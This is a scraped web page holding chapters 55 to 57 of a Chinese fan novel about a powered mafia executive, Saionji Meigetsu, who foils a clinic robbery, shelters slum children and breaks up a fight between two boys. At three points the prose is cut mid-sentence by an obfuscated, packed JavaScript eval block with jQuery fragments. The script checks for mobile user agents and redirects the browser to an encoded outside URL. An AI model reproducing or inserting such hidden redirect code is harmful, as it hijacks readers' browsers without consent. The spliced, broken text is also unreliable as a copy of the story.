对外表现出的便是——西园寺鸣月好像没有任何会引发他生气的东西,性格是天生的好欺负。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16785406|186844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 听到这句话时,金发青年瞳中的雪花转动变缓,仿佛在思考着自己是不是真的这样。 “或许吧。” 最后,西园寺鸣月这样说道:“毕竟生命是多样性的,我们不能像面镜子一样,照到什么就真的成为什么。” 恰好这个时候,森医生拿着药走过来,话题便自然而然地终结了。 西园寺鸣月捏了捏偷渡客的脸,示意自己要结账了,让他从自己怀里退出来。 于是半眯着眼睛靠在青年怀里,已经昏昏欲睡的偷渡客不爽地又瞪了医生一眼。 落魄的森医生:“……” 他真的什么也没做。 结账时出了一点意外,习惯刷卡支付的西园寺鸣月取出黑卡,半天没等到医生动作的他疑惑,“医生,刷卡机呢?” “……昨天是有的。” 医生尴尬地将视线投到不远处还没修好的门板上,西园寺鸣月也跟着看过去,了然道:“被抢了啊。” “那付现金吧。” 他接着打开钱包,数了数里面的现金,随后露出与医生同款的尴尬表情,“啊,太久没用,忘记补充现金了。” 如今里面只有三枚面额五十的硬币。 西园寺鸣月又翻了翻,总算从另一个钱包里翻出了几张外币。 “医生,国外的钱币可以吗?” “可以的可以的。” 可恶,为什么付款方和收款方都带着同样的尴尬。 付完钱,西园寺鸣月抱起已经朝自己伸出手的挚友,扭头与医生道别。 “那么……” 突然而至的枪响盖住了金发青年后面说出的话语。 有三个人裹着脸,拿着枪械闯进诊所,“抢劫,把值钱的东西都给老子全部交出来!” “……” 西园寺鸣月看了看森医生。 森鸥外看了看西园寺鸣月。 两个都在等着对方解决问题的成年人默契地没有在第一时间出声。 劫匪一二三号:“………” “抢劫!你们听不到吗?!” “……” 金发青年怀里的孩子将身体转过来,猩红眼眸平静地看向闯入的三个人。 他们的装备并不精良,蒙脸的物件是一张灰蒙蒙的破布,枪口自刚才射击之后就一直冒着烟,看起来再用两次就会炸膛。 似乎是第一次做这种事,走在后面的两个双腿在不自然地抖动着,领头的声音也有些发虚。 “阁下,这,这可怎么办啊?” 森医生欲哭无泪的声音委屈地冒出,他走到柜台后,开始磨磨蹭蹭地清点自己仅剩的钱财。 两张外币数了又数,看了又看,最后用求救的目光望着西园寺鸣月,还有西园寺鸣月的剑。 “喂,尊重一下我们的工作啊!” 无奈,西园寺鸣月将偷渡客放下来,将他推到自己身后。 劫匪的枪口迅速指向他,场面迅速紧张起来,“快去拿钱,不然我就杀……杀……” 骤然涌现的寒温冻得他说不出话来。 金发青年叹一口气,“我只是出来看个病啊。” 怎么就能遇上抢劫呢。 看来森鸥外的医生之路也非常不顺啊。 55.第 55 章 西园寺鸣月还没有出手,刚将隐藏buff的开关打开,三个劫匪就颤巍巍地冻晕了过去。 “……” 哇哦。 西园寺鸣月默默关掉只开了不到三秒钟的buff。 “多谢阁下出手相助。” 在贫穷却老实的医生的坚持下,有钱的黑手党干部接受了他的感谢——两张本就属于他的钱币,还有一堆治疗儿童常见疾病的药物。 其实可以直接在商场购买治病药品,但为了提前结交森鸥外,刻意来这一趟的西园寺鸣月微笑着接过了谢礼。 将劫匪拖出诊所外,森医生发自内心地感叹一声,“阁下的异能力真是强大啊。” 西园寺鸣月却摇头,毫不犹豫说出了这个能力的缺陷。 “它并没有多大的杀伤力,遇到对低温有抗性,或早有准备的敌人,也只是个鸡肋的异能力罢了。” 这是角色卡原型自带的buff,在云霄的那个世界,成为国王后就会自动拥有极寒领域,算是世界之子的标准福利。 冬天敬谢不敏,但热的时候可以当大型空调用。 所以真的没什么用。 但可以用来装逼。 偷渡客艺高人胆大地拿起了被冰冻住的枪械,一点不害怕地将枪管对准眼睛,“老式步枪,鸣月,这是他们自己组装的。” “没在擂钵街见到过这些人,应该是刚刚流浪过来的。” 西园寺鸣月打量着三个劫匪的装备,若有所思,“我记得小灰挺喜欢玩立体拼图。” 小灰没有名字,也可以说他早就忘记了名字,因为战争而流离失所的孩子不在少数,而九岁的小灰在来到擂钵街之前,就已经在其他地方流浪了两年。 所以大部分人都直接叫他“灰”。 “带回去吧。”西园寺鸣月说出他的决定。 虽说这两者不能完全混为一谈。 但房间众多的屋子里也需要常备几个清洁工嘛。 “这样鸣月就不能抱着我了。” 听到这句疑似撒娇的抱怨,太宰治感到恶寒地后退一步,“好肉麻哦。” 五官精致,瞧着又莫名有几分别扭的同龄人看他一眼,没有搭理。 “我要坐在他们身上滑雪橇!” 黑卷发的男孩抬头,望着金发青年这样说。 异想天开的愿望。 “想玩雪的话,得先找个斜度高些的坡路。” 西园寺鸣月没有拒绝,他将三个劫匪绑在一起,很轻松地提了起来。 特意空出来的一只手将已经主动张开双臂的挚友抱起。 “那么,我们就先走了。” …… 目送金发青年两人离开,森鸥外搓了搓手,西园寺鸣月的异能是敌我不分的范围性异伤害,他同样被冻得不轻。 搁置在桌上的扳手表面也凝固着一层薄冰,森鸥外突然发现了什么,盯着门板看了看,从杂物间翻出崭新的手套戴上,尝试着将门安上。 安上了。 盯着被修复好门板,森鸥外感叹一声,“西园寺先生真善良啊。” 紧接着他又摇摇头。 “说一个黑手党善良,这可算不上什么夸奖。” 前段时间港口Mafia的那位突然回来,又迅速离开,让首领震怒的干部先生,森鸥外同样有所耳闻。 并有所见证——在港.黑大楼冰雪尚未消融的时候,森鸥外远远看过一眼。 说没有多少杀伤力……也不知道是谦虚,还是真的觉得弱小了。 若真是后者,定然是拥有比异能力更加强大的依仗,但不管是哪一个理由,听起来都有些来自高位者的高傲啊。 不过刚才,太宰君是不是也打了个寒颤?这可就有些罕见了。 按理来说,异能力产物对他也是无效的才对。 …… …… 在擂钵街这片由灾难与遗忘构成的巨大坑洞里,建筑如同随意堆积的垃圾,彼此倾斜、依靠,构成一座绝望的窟洞。 而在这片断壁残垣的某处,某一天,突然出现了一栋完整的骨架。 流浪至此地的人望着,盯着,探寻着,这里当然不允许出现任何“正常”与“完整”的事物,于是有无数人尝试着接近它,摧毁它。 那里住着什么人,整个擂钵街都清楚。 一堆不晓得会不会生出獠牙利爪的动物,顶天的,里面那只爪牙淬毒的幼犬有些威胁力——只要脱掉它的皮毛便不足为惧。 但不知道从哪里冒出来的慈善家,一个强大到没有人能够战胜的异能者出现在了那里,成为了那群动物的守护者,放牧者。 一个接一个,一批又一批,被轰炸,被挑飞,又或者被凶兽撕咬住脖颈—— 没有人能够成功跨过金发异能者划下的界限。 于是一双双布满血丝的眼睛向上睁着,看着骨架慢慢被添上血肉,变得丰盈,血肉填充,外皮覆盖,最后被主人点上了传神的眼睛。 它长得并没有想象中那么鲜艳亮丽,一点不像那位连剑身都要镶嵌满宝石的异能者的风格。 从远处看,几乎无法将它从周围歪斜破败的棚屋群中分辨出来。 颜色沉静的老旧红砖,深色的沉船木与抹平的混凝土彼此镶嵌,废弃的铁路枕木、半截汽车车门,以及无数说不出来源的金属零件。 所有材料都带着擂钵街固有的伤痕与污迹,但奇妙的是,它们身上的尖锐都被耐心地抚平了,并以一种惊人的和谐感融合在了一起。 铁锈经过细心打磨,呈现出一种均匀而温暖的赭石色,木材的裂缝被仔细填满,显露出温润的纹理。 不再是垃圾的它们变成了一件独一无二、富有生命力的衣服。 而穿上衣服的它毫不张扬。 对所有漫不经心的目光呈现出一副废墟的假面,就好像那只是一片由生锈铁皮、腐朽木板和破碎混凝土块构成的、更大、更为整齐方正的集合体。 唯有怀抱着特定的目的,或拥有足够的耐心与敏锐,才能从那些断裂的线条、混搭的材质与不合常理的结构中,窥见其深藏于内的美丽。 …… 住进新房子的第一天,野比二郎翻来覆去睡不着,平躺在床上盯着吊顶的灯发呆。 他没有拉上窗帘,幽静的月光落进来将半个房间铺陈,并没有很亮,温和的霜白如梦似幻。 像是在做梦。 柔软的床好像填满了羽毛,陷进去就让人流连忘返,又不敢做太大的动作,怕将羽毛压塌,也不敢闭眼,怕一睁一闭,这场真实又虚假的梦也跟着碎了。 因为一场乌龙,他们错认了敌人,趁人熟睡时将他用粗绳捆住,搜刮钱财,还试图将人…… 野比二郎记得自己当时返回的目的,他是带着杀死敌人的想法去的。 但不知道为什么,一看见那张脸就下不去手,像是有谁在阻拦着自己,最后,也只是打算将那把剑上的宝石撬走。 结果没有想到,他醒过来时没有生气,甚至于,没有任何的负面情绪。 他送来了一枚宝石。 不管怎么回忆,当初的相遇都像是一场美梦,苦到极致时的大梦一场。 自己尚未醒来,所以才觉得真实。 月光照得人心惶惶,一双看不见的手疯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16797383|186844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狂波动着紧绷的弦,手一弹,心也跟着一跳。 野比二郎坐起身,小心翼翼地踩过地板,站在墙角的房门前。 西园寺先生因为担心他们会不习惯独处,每层楼的房间都是被打通的,安了一扇两边都可以打开的门。 这样不会吵醒其他人,自己也能得到一份安心。 他轻轻地推开左边的门,这个房间的人同样没有睡。 他们之中记得自己名字的很少,除开芥川两人和自己,只剩一个人还记得自己的姓名,也就是住在他左边的小林真。 他拥有一头灰蓝色的短发,西园寺先生曾调侃过小林真的模样,说他像是一只停歇在电线杆上的灰雀。 雀鸟都是容易被惊飞的。 “我……有点害怕。” 小林真的年龄最小,胆子也是所有人中最小的。 他惧怕黑暗,所以房间亮着暖黄的灯,男孩抱着双膝靠坐在床边,声音被窗外清透的月色压低。 “我睡不着,野比哥哥。” 太安静了。 安静到好像一睡过去,灵魂就会从彼端掉到河岸,然后被拉去没有西园寺鸣月在的另一边。 小林真总是爱做梦。 梦到母亲,梦到大火,梦到带自己穿过枪林弹雨的父亲。 他曾经有一段时间,只要闭眼就能看见从前的家被点起火焰,看见母亲困在火海,看见父亲中弹身亡,看见哭泣不管用,求饶不管用,什么都不管用的一场噩梦。 不敢睡,不愿睡,于是熬到天光大亮,熬到晨曦的曙光照到自己身上,那一刻,就像是家人还拥围在自己身边。 “我又梦到了妈妈,野比哥哥。” 只是这一次不再是痛苦的哀鸣与让他快逃的嘶吼。 是一个拥抱。 在母亲向自己张开双臂的一瞬间,曾无数次期盼着这样一个美梦的小林真却惊醒了。 “妈妈说要带我走,带我,带我去幸福的地方……” 小林真忽地拉住野比二郎的手,一边摇头,一边带着哭腔说:“但我、但是我不想过去了,我不想过去,我想,我想再多在这里待一会儿。” “我是不是……是不是很不听话?我拒绝了,妈妈一直说我是最听话的好孩子,可是……可是我现在不想过去,我醒过来了,妈妈一定会怪我的。” “我不敢睡了,野比哥哥,要是下一次,妈妈还是要带我走,我……我该怎么办啊?” “我不想离开了,野比哥哥。” 从前的苦难好不容易煎熬过来,小林真想再多尝尝蛋糕的味道,想再看看花开的样子。 要是…… 要是妈妈早一点来找他就好了,这样自己就会一直是听话的孩子。 要是在西园寺先生到来之前来找他就好了。 那个时候自己一定会听话的。 恰好在这个时候,另一边的门被人打开。 一颗灰茸茸的头从门缝里探出。 “真,你睡着了吗?” 黝黑的眼珠子迅速一扫,见野比二郎也在这里,小灰腼腆一笑,抱着枕头走过来。 “我有些睡不着。” 他说。 过了一会。 “……野比哥?” 小红和小黄从野比二郎的房间探出头,见到这里有三个人,表情登时一松,“原来你们都没有睡!” “我看见野比哥的房间里没有人,就知道野比哥也一定没有睡。” 小黄叽叽喳喳着走过来,盘腿坐在了小灰旁边。 又过了一会儿。 芥川龙之介牵着芥川银坐在了小林真的旁边。 56.第 56 章 西园寺鸣月离开的一个小时后,在医生的默许下,太宰治也来到了擂钵街。 他跟着图纸上的路线图,避开了所有危险的地方,没有遇到任何人。 然后——来到了西园寺鸣月的领地。 领地外堆着一大堆集装箱,它们要比擂钵街其余地方的集装箱要干净,应该有好好清理过。 现在,擂钵街尚未得到居住地的人群正聚集在这里,以厮杀的方式争夺着它们。 太宰治收回视线,从狭窄的缝隙挤进了一片浅橘色的花海之中。 摇曳的花海并不熏人,离得近了才闻得见一两缕幽香,他不感兴趣地踩过一朵又一朵被风吹折的花朵。 擂钵街的夜晚向来不宁静,纵使有着月色的滤镜也嘈杂至极。 但偏偏在这里,像是一瞬间跨越了某个屏障,耳旁的争吵与枪响都迅速走远,只留下一点朦胧的噪音。 金发青年便站在花海远处。 宽长的墨灰色大衣垂至腿弯,没有多余的图纹,青年没有带上那把价值连城的宝剑,看起来就像是一位普通的,意外误入这片混乱地带的外国旅人。 深邃的眉骨流淌下月光,柔和到不见半点攻击性。 旁边是一个人造斜坡,坡上堆满了厚厚的冰雪,不高,不长,黑卷发的同龄人坐着滑垫欢呼一声,从坡上滑了下来。 中途不知是不是一开始的方向歪了,滑垫横着拐了一大个弯,最后从中间直直摔下来。 听见声音,正低头看着什么的金发青年头也没回,一伸手,就精准捞住了他的挚友。 “诶——鸣月一点都不关心人家。” 西园寺鸣月撇过头,视线从藤原千学传给他的清单上移开,捏了捏偷渡客的脸,“不是接住你了吗?” 偷渡客小声嘟嚷着不要这种接,又跃跃欲试试图重新摔一次,被西园寺鸣月伸手拦了下来。 “还在发烧呢,小隐。” 金发青年揉揉他的头,玩笑般打了一个响指。 山坡带着厚雪消失了。 盯着重新变回平地的地方,黑卷发的男孩长长地,哀怨地啊了一声,“鸣月欺负我!” “会受伤的,小隐。” 温烫的掌心按在头顶,抚摸了一下又一下,似乎在看见他这张脸之后,西园寺鸣月就开始变得喜欢肢体接触了。 明明之前连牵手都不愿意,相伴而行时也会避开所有能避开的接触,就好像是一簇即将融化、而内有乾坤的雪,融化后是炸弹或空茫都无法确定。 于是雪的友人便选择不去接触。 直到病重不得不拆开绷带,将雪消融,迈过第一步之后,便会是情不自禁的一次次向前。 ——因为这一张脸。 西园寺鸣月永远不会拒绝他了。 “有鸣月在,完全不用担心受伤啦。” 过分的要求只要撒个娇就好了,毕竟西园寺鸣月面对的是这样一张脸啊。 他面朝金发青年露出乖巧的笑。 “……小隐啊。” 西园寺鸣月挡住偷渡客的脸,暗自腹诽着用这张脸来讨好人,多少有些犯规了。 没有人能拒绝自小就不对付的兄长朝自己撒娇。 还是mini版! 但动容归动容,时间已经不早了,而某位医生说过患者要早睡,所以西园寺鸣月表示—— “等你病好再玩,小隐。” 因为去了一趟森医生的诊所,又经历劫匪,时间耽搁了许久,所以回来的时候天色也已经不早了。 他说着,就打算带着人回去,偷渡客摇摇头,又抱着他的手臂晃了晃。 “再待一会儿嘛。” 在搭档的提醒下,知道太宰治在附近的西园寺鸣月垂眸,开始好奇偷渡客要做些什么的他认输般笑了笑,说:“最后半个小时?” 偷渡客满意地点点头,没有让他再弄出一个滑雪地,欲盖弥彰似地往远处走了几步。 “我要去摘几朵花回去,鸣月跟过来,就没有惊喜感了。” 全是一种颜色的花,不管拿来做什么都没有惊喜感吧。 西园寺鸣月想,忍俊不禁地站在原地挥挥手,“那我在这里等着小隐。” 起死回生的挚友盯着他不含一点怀疑的眼睛,略显苍白的唇角又向上弯起几个度。 西园寺鸣月重新取出手机,点开伏黑甚尔发给伏黑隐,但被藤原千学偷过来又发给自己的清单。 里面标列的地点横跨大江南北,东西两方,乃至国外都有所涉及,内容写的十分详细。 像是一个旅游攻略。 西园寺鸣月将这一长串清单迅速看了一遍,也不在乎自己到底看没看清,拉到底之后,就把它转给了藤原千学弄出来的空白账号里。 简单走了个后续可能会有人来查的过程之后,早有准备的搭档就与世界意识联合,把这些陷阱全部挖了个干干净净。 最后,搭档复刻了一个同款炸弹与□□,空投到了世界意识给的定位地点。 搭档将监控得到的画面借着空白账号,发到了他的手机上,看着猝然在独栋房屋周围燃起的火焰,西园寺鸣月手指滑动,按回了藤原千学的消息界面。 ——有挂不用是笨蛋。 [嗯?] 正乐此不疲给费奥多尔的据点埋陷阱的搭档突然发出了疑惑的声音。 他刚才好像瞥到了什么不得了的东西。 [神隐,你儿子在打架诶。] [啥玩意儿?] 已经对搭档这一声声“儿子”脱敏的西园寺鸣月也发出了疑惑的声音。 搭档将这段监控投射进西园寺鸣的脑子里。 [你看。] 上帝视角的花海显得更为壮观美丽了,监控视角随着搭档的意识急转而下,最后定格到一处被压塌的花丛。 两个身形相似的身影正你一脚我一脚相互殴打着。 由于力气近乎相同,体术乃至身体都是差不多的中等偏下,他们的战斗情况不分伯仲。 以西园寺鸣月的不专业角度来看,最后的结局或许是两个人同时力竭,不分输赢地倒在地上。 [哇哇哇,你这个儿子好像更能打一些。] 搭档饶有兴致地点评着,[就是一些技巧应该只在纸上看过图解……哎!你儿子怎么还踹人家脸呢?] 西园寺鸣月也没在意搭档口中儿子的调侃,他看着被太宰治反压在地上殴打的偷渡客,轻啧一声。 [小白不行啊,这样都没偷袭到人。] 小白,他对偷渡客的简称。 [毕竟对打的是太宰治,嗯?扯花塞人嘴里,哇塞——你儿子这招好阴。] 搭档啧啧称奇,说话的同时不停往嘴里塞着爆米花,[哦哦哦!太宰治也用这招了!] 两个人同时呸呸呸吐出了嘴里的花,一边吐,还一边扣土往对方身上扔。 西园寺鸣月具现出一把椅子坐下,假装玩手机将偷偷抓拍到的照片移到相册里。 所以小白给太宰治塞纸条,就是为了和他打一场架? 西园寺鸣月摸摸下巴,卡在三十分钟的最后一秒起身,准时准点地出现在还纠缠在一起的两个人身前。 “好了好了,不要玩了。” 或残缺或完整的花瓣凌乱散开,随着两人的动作不停转移着自己死亡的目的地。 他提着衣领,将两个人分开。 被分开前还不忘狠踹对方一脚的偷渡客抗议般疯狂晃着腿,展现出少见的活泼与狠劲。 “鸣月!放开我!” “小隐,到时间了。” 西园寺鸣月又把两人拉开了一点距离,“所以明天才能继续玩喔。” 同样狠踹了一脚偷渡客的太宰治闻言,冷冷插嘴道:“这个粗鲁的家伙约人晚上见面,结果就是想欺负人吗?这位先生,你是否太过溺爱他了?” “鸣月,是他先打我的!我也没有约他见面!” 偷渡客倒打一耙得十分自然,他做出一副委屈极了的表情,“他刚才偷袭我,要不是我反应快,我肯定会被这个家伙大揍一顿的!” 嘶…… 西园寺鸣月的表情有些许动容,看起来好像相信了这个说辞。 要不是他回看过监控,知道是偷渡客率先给了太宰治一拳的话。 无奈之下,西园寺鸣月只能替他向被迫打架的人道歉。 “小隐这几天生病,导致他的情绪有些急躁,实在不好意思。” “啊——可是我真的很讨厌痛欸。” 面前的男孩身上绷带全部在打架的过程中被弄散了,带着婴儿肥的脸上有些青紫,松散的绷带下也带着划伤后流出的血迹,看起来受到了一场非常糟糕的殴打。 他朝西园寺鸣月伸出被擦伤的手臂,鸢色的眼瞳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16806604|186844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直直盯着被青年抱起的同龄人。 “他没有我痛,这一点也不公平。” “诶?” 像是听到了不可思议的话语,青年的眼睛诧异地睁大。 月色如水,轻薄地覆在凛冬的国土,缓慢旋转的雪花在水中沉沉浮浮。 他没有贸然上前与眼前之人接触,眼瞳转动,仔细打量了好一会儿,才像是无法理解般,将疑惑问出了口:“你的伤也没有被治愈吗?” 太宰治一眨眼,想到了什么,没有表情的面容露出一道好奇的微笑。 “这位先生的异能力是治愈?” 他自问自答地否定了这个问题,“可是你在白天的异能力是冰雪——好奇怪,难道有两位一模一样的金头发先生?” “我是多异能者。” 坦率地回答完这一个问题,西园寺鸣月苦恼地皱起眉。 “只是部分能力有些不稳定,这两天估计是失灵了,在小隐身上也不管用……既然如此,那只是一句道歉确实有些过分了。” “小朋友有什么想要的吗?” 金发青年眼含愧疚,仿佛自己身上的伤出自他手似的,太宰治又看向他怀里比自己还要糟糕的家伙,与那双充斥敌意的猩红眼睛对视。 “我要他受的伤害比我多。”太宰治说。 “……忘记加一个前提了,除去小隐,其他的任何补偿都可以。” 意料之中的被拒绝了。 一只手将这个糟糕家伙的眼睛完全遮住,半强硬地将他的头转过去,很明显,金发青年拥有稍微正常的思想,但也更不可能让挚友受太多委屈。 “最讨厌这种家长了……” 他不高不低地呢喃一声,“那就给我三千万吧,我受伤的心灵需要很多很多的抚慰哦。” “黑手党的干部应该都很有钱吧?” 这句话也没有将西园寺鸣月脸上的温和打破,他只是很明显地呆了一秒钟,随后释然地叹口气。 “果然啊,这样无节制地使用能力,迟早会被人发现的。” 轻松地感叹完这一句之后,青年便揭过了这一个话题。 “小朋友,我身上没有带钱包,你愿意先到我的家里来吗?顺便帮你处理一下伤势。” “听起来好像拐卖人的话术哦,金头发的大叔。” “大叔……” 被识破黑手党身份,被讹三千万都能够面不改色的青年笑容逐渐勉强起来,“我今年才二十二啊,小朋友。” “那不也还是大叔吗?” 太宰治随手拔了一大堆浅橘色的花,像是初见田野的顽童不在乎完不完整,只管自己是否得到了,握住了。 “比我大了整整十二岁呢。” “可是三十多岁才应该被称为叔叔吧,我还很年轻,所以要用年轻一点的称呼才对。” 青年成熟的外表泄出几分不善伪装的少年气,他拥有一副来自北欧的面孔,但要真对比起来,这张脸在北欧或许能够称得上是未成年。 “比如和其余人一样叫我先生,或者直接称呼名字也是完全可以的,只要不用大叔这个称呼,这样会显得我已经很老了。” “变老,这可不是什么好事情。” 太宰治将纤细的花杆全部扭在一起,根茎断裂流出的汁水沾湿绷带与袖口,是与花瓣相同的颜色。 他仿佛已经感受不到身上的痛,摇摇晃晃地走在西园寺鸣月的旁边,“可是大叔,我不知道你的名字。” “西园寺鸣月,我的名字。” “好哦,西园寺大叔。” “^_^” 这是世界点名要重点关照的角色。 要·忍·耐。 带着一张马上就要碎掉的笑容,西园寺鸣月推开被藏得极隐蔽的大门。 因为是在擂钵街,他没有将这栋房子的外观建得太显眼,内里的装修也并不奢华,简洁得一目了然。 只有一楼大厅最宽阔的墙面,那里有着一扇完全用荧光石与各色宝石制作而成的巨大彩窗。 漆黑的夜色笼罩下,它散发的莹白光芒穿过宝石,在室内投落下肉眼可见的绚彩缤纷的微光,照亮了一小片地带。 “我的房间在三楼。” 西园寺鸣月说着,低头发现太宰治的表情有些不对,便顺着他的视线看过去。 然后被彩窗旁一个又一个的人头惊了一下。 57.第 57 章 西园寺鸣月打开大厅的灯。 果不其然,待在那里的是一群没有睡觉的孩子。 他迅速数了一遍,十七个人一个不少。 “大家是睡不着吗?怎么不开灯。” 忽然明亮的视野让那群孩子也受到了短暂的惊吓,他们慌乱了一瞬间,而后齐齐从地面站了起来。 表情也是少见的神似,带着做坏事被发现的心虚,还带着一点仿佛大梦初醒后的茫然。 西园寺鸣月见此眉梢一挑,关上大门。 “这是怎么了?” 站在后面的几个孩子嘀嘀咕咕,最后其中一个开口道:“因为太浪费了。” 浪费什么? 西园寺鸣月刚想说童年的时间就是用来享受的,没有什么浪不浪费,偷渡客就轻声在他耳边提醒: “他们在回答不开灯的问题。” ——所以说身边有个外置大脑真的很方便。 西园寺鸣月升至喉咙的音节转了一个弯,“这里的一切都不需要花钱,大家不用节省的。” 生怕浪费一点电量,多花一分金钱的十七人:“!!!” 看着他们的震惊表情,西园寺鸣月笑了笑,没有言明可以不花钱的原因。 “睡不着的话,大家想看电影吗?” 西园寺鸣月将投影仪摆放好,让搭档挑了部时下较火的动画片放进去,“我先上楼一趟,过会儿再下来。” 他得先回房间给这两位深夜斗殴的家伙上药。 …… 然后—— 在上药这一步,一路上看着十分配合的太宰治就表现出了极大的抵触。 望着缩在墙角一边双手捂胸,一边大喊“大叔不可以”的未来在港·黑被誉为操心师与黑色幽灵的历代最年轻干部,西园寺鸣月:“……” 被这样的眼神注视着,总感觉拿着棉签和绷带的自己好像成为了一个喜欢儿童、并试图趁人之危占便宜的变态呢。 “不要喊大叔啊……” 已经不知道是第几次请求了,西园寺鸣月上前一步,半蹲下来,“上了药才不会很疼,小朋友。” “大叔骗人,上药的过程最痛了!”太宰治疯狂摇头,抱住自己的手又收紧了一点,生怕被奇怪的大叔占到一点便宜。 奇怪的大叔:“可是上了药好得会更快,也不会再那么疼了,忍一忍吧小朋友。” “大叔笑得好恶心,所以我不要!” “……” 西园寺鸣月脸上的微笑开始颤抖。 他其实没想那么早接触太宰治,毕竟要养十几个孩子,还偶尔外带隔壁的中原中也,算不上麻烦但也足够劳费心神。 况且本来偷渡客就在到处逗猫惹狗,把所有西园寺要亲近的人都得罪了个遍。 如果再加一个熊孩子,还是注定会和中原中也打成一片的家伙,他不敢想,到时候场面会乱成什么样。 但是—— 他属实没有想到偷渡客也会和太宰治约架。 自己打自己是什么脑回路? 他还以为两个脑力担当的家伙一般都是先唇枪舌战一番呢。 没想到偷渡客刚照面就是一拳。 而这也导致了,本就对孩童有着无底线容忍度的西园寺鸣月更加无底线了,没办法,自家孩子闯了祸,理亏啊。 金发青年双手合十做拜托状,冰蓝色的眼瞳波光粼粼,像是贮存着日耀光斑的冰河。 “拜托了小朋友。” “可是长辈说过,出门在外不能随便被陌生人碰,所以我不要!” 然而旅人并不愿意欣赏这片奇幻的风景。 头一次使用颜面攻势,但不幸扫地的西园寺鸣月:“……” 可是你都跟着陌生人回到陌生人的家里来了。 就不能再妥协一下下吗? 是他使用角色卡的方式不对吗? 好想当场切角色卡用伏黑白强硬地让人配合自己啊。 “那是因为大叔说来这里拿补偿我才过来的。” 仿佛看出了西园寺鸣月内心的吐槽,太宰治突然超大声地说:“我才不要被莫名其妙的大叔看光身体!” “……” 莫名其妙的大叔的笑容终于碎掉了。 “好吧。” 被那一声声大叔攻破了心房,西园寺鸣月沮丧地放下了棉签与绷带。 “不过那么晚了,回家的路上应该会遇到些危险。”烦恼着自己在太宰治眼里看起来到底有多老,西园寺鸣月叹口气,“一会儿我送你回去吧。” 他转身打开桌柜,从一溜钱包里仔细翻了翻,花了点时间才找到白天尾崎红叶还回来的工资卡。 ”小朋友,我把密码写纸上?” 没得到回应,西园寺鸣月扭头一看,发现偷渡客和太宰治都不在了。 “小隐?” 啥情况? 同类相触被消消乐了? 在找搭档传输监控的时候,西园寺鸣月听到了走廊外有些响动。 他顿觉不好,快步走进了对面的空房间。 这个多余的房间是西园寺鸣月特意留的,里面的装饰也与其他房间差不多,只不过因为没人住,所有地方都蒙着防尘布。 如今,西园寺鸣月看着在空中飘扬的防尘布,还有破碎的床头柜,陷入了长久的沉思。 两个不擅打斗的小孩杀伤力都那么大了。 他真的要让中原中也和太宰治提前认识吗? 太宰治终究还是上了药——每次拒绝都要被眼前这个一直呲牙的狂犬病挠一下,再聪明的人也受不了这种无赖。 “这家伙真的很讨厌,不管是作为家长还是朋友,都应该认真管教一下吧,慈父多败儿的道理,大叔一定肯定是知道的吧。” 在太宰治不停的抱怨下,西园寺鸣月心虚地笑了笑,“小隐他……可能是这几天生病了……所以心情有一些……咳,不太好。” 纵使是宽容无下限的西园寺鸣月,这一次对于有关挚友的坏话,辩驳的也有些难以启齿。 金发青年默默低下头,像只垂头丧气的大型犬,“好吧,实在抱歉。” “我下次会看住小隐。” 他将伤药与换洗的绷带递出去,太宰治听见,只说:“软弱的大叔绝对是看不住的。” 说完,太宰治就走进了已经成为废墟的空房间,独自给自己上药去了。 “鸣月居然偏心一个陌生人……” 终于等到太宰治离开的偷渡客声音幽幽,满含怨念,“好生气。” “小隐,这个时候撒娇,是不是有一些晚了呢?” 西园寺鸣月拿起药膏敷在挚友耳侧的淤青上,叹息一声,“白天刚承诺了让小隐不受伤,晚上小隐就去与人争斗了,这是在向我证明什么吗?” “但身体力行的证明,是不是有些严重了?” “因为真的非常非常非常的讨厌那个家伙。” 偷渡客将身体前倾,抱住青年伸出的手臂,“但是鸣月的话,肯定不会随便答应帮我揍人啦,所以我就自己去了嘛,绝对没有欺负鸣月的意思在!” “你们才第一天见面吧。” 西园寺鸣月按住马上要埋进自己胸膛的头,将两人距离拉开,示意先上药再做其他的事。 “小隐,不要总是用第一面去看待别人啊。” “反正又不会长久地相处下去,有没有偏见都没有关系吧。” 偷渡客仰起头,将脖颈处的淤痕露出来,方便西园寺鸣月帮自己上药,“还是说,鸣月想领养这个家伙?” “我不又不是慈善家。” 西园寺鸣月收起药物,对于挚友的这段问话哭笑不得,“况且人家有家长,小隐。” 偷渡客眨眨眼睛,猩红的瞳眸不满足地眯起,他望着西园寺鸣月,望了好一会儿突然说脑袋疼,疼得睡不着觉,不论如何都要和楼下的一大堆人一起。 “我不想再缺席鸣月的人生了。” 蓬松的卷发埋在青年颈间,一两缕不听话地向上翘起,堪堪触及灿金发丝的尾端。 偷渡客说: “不管多难受都不要离开。” 